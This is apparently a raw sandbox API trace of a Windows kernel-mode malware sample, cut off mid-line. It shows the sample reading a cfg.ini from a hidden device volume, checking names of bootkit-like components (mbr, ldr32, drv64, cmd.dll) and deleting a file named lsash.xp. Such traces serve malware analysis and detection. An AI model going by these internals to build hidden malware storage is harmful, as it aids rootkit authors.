[0120.859] KeEnterCriticalRegion () [0120.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.859] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.859] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.859] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.859] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.859] IdePortDispatch () returned 0x103 [0120.861] KeWaitForMutexObject () returned 0x0 [0120.861] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.861] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.861] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.861] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.861] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.861] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdbc0 [0120.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.861] KeLeaveCriticalRegion () [0120.861] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.861] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.861] KeEnterCriticalRegion () [0120.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.861] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.861] KeLeaveCriticalRegion () [0120.861] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.861] KeEnterCriticalRegion () [0120.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.861] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.861] IdePortDispatch () returned 0x103 [0120.861] KeWaitForMutexObject () returned 0x0 [0120.861] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.861] KeLeaveCriticalRegion () [0120.861] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.861] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.861] KeEnterCriticalRegion () [0120.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.861] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003513000 [0120.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.862] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.862] IdePortDispatch () returned 0x103 [0120.862] KeWaitForMutexObject () returned 0x0 [0120.862] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.862] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.862] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.862] IdePortDispatch () returned 0x103 [0120.862] KeWaitForMutexObject () returned 0x0 [0120.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.862] KeLeaveCriticalRegion () [0120.862] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.862] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.863] KeEnterCriticalRegion () [0120.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.863] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.863] KeLeaveCriticalRegion () [0120.863] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.863] KeEnterCriticalRegion () [0120.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.863] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.863] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdc80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.863] KeLeaveCriticalRegion () [0120.863] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.863] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.863] KeEnterCriticalRegion () [0120.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.863] ExFreePoolWithTag (P=0xfffffa8003bbdbc0, Tag=0x0) [0120.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.863] KeLeaveCriticalRegion () [0120.863] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.863] ReleaseMutex (hMutex=0xf0) returned 1 [0120.863] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.863] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.863] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.863] KeEnterCriticalRegion () [0120.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.863] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.863] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.863] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.863] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.863] IdePortDispatch () returned 0x103 [0120.863] KeWaitForMutexObject () returned 0x0 [0120.863] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.863] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.863] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.863] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.863] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.863] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd1f0 [0120.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.864] KeLeaveCriticalRegion () [0120.864] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.864] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.864] KeEnterCriticalRegion () [0120.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.864] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.864] KeLeaveCriticalRegion () [0120.864] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.864] KeEnterCriticalRegion () [0120.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.864] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.864] IdePortDispatch () returned 0x103 [0120.864] KeWaitForMutexObject () returned 0x0 [0120.864] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.864] KeLeaveCriticalRegion () [0120.864] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.864] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.864] KeEnterCriticalRegion () [0120.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.864] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003514000 [0120.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.864] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.864] IdePortDispatch () returned 0x103 [0120.864] KeWaitForMutexObject () returned 0x0 [0120.865] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.865] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.865] IdePortDispatch () returned 0x103 [0120.865] KeWaitForMutexObject () returned 0x0 [0120.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.865] KeLeaveCriticalRegion () [0120.865] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.865] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.865] KeEnterCriticalRegion () [0120.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.865] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.865] KeLeaveCriticalRegion () [0120.865] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.865] KeEnterCriticalRegion () [0120.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.865] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.866] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.866] KeLeaveCriticalRegion () [0120.866] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.866] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.866] KeEnterCriticalRegion () [0120.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.866] ExFreePoolWithTag (P=0xfffffa8003bbd1f0, Tag=0x0) [0120.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.866] KeLeaveCriticalRegion () [0120.866] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.866] ReleaseMutex (hMutex=0xf0) returned 1 [0120.866] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.866] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.866] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.866] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.866] KeEnterCriticalRegion () [0120.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.866] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.866] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.866] IdePortDispatch () returned 0x103 [0120.866] KeWaitForMutexObject () returned 0x0 [0120.866] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.866] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.866] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.866] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.866] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.866] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.866] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.866] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.866] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.866] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.866] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.866] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.866] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.866] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.866] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.866] KeLeaveCriticalRegion () [0120.866] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.867] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.867] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.867] KeEnterCriticalRegion () [0120.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.867] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.867] IdePortDispatch () returned 0x103 [0120.867] KeWaitForMutexObject () returned 0x0 [0120.867] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.867] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.867] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.867] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.867] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.867] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.867] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.867] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.867] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.867] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.867] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.867] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.867] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.867] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.867] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.867] KeLeaveCriticalRegion () [0120.867] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.867] ReleaseMutex (hMutex=0x100) returned 1 [0120.867] Sleep (dwMilliseconds=0x2bf20) [0120.873] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b3d3550, dwHighDateTime=0x1d24fa4)) [0120.873] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.873] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.874] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.874] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.874] KeEnterCriticalRegion () [0120.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.874] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.874] IdePortDispatch () returned 0x103 [0120.874] KeWaitForMutexObject () returned 0x0 [0120.874] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.874] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.874] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.874] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.874] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.874] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9cc0 [0120.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.874] KeLeaveCriticalRegion () [0120.874] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.874] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.874] KeEnterCriticalRegion () [0120.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.874] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.874] KeLeaveCriticalRegion () [0120.874] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.874] KeEnterCriticalRegion () [0120.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.874] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.874] IdePortDispatch () returned 0x103 [0120.874] KeWaitForMutexObject () returned 0x0 [0120.875] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.875] KeLeaveCriticalRegion () [0120.875] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.875] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.875] KeEnterCriticalRegion () [0120.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.875] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003517000 [0120.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.875] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.875] IdePortDispatch () returned 0x103 [0120.875] KeWaitForMutexObject () returned 0x0 [0120.875] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 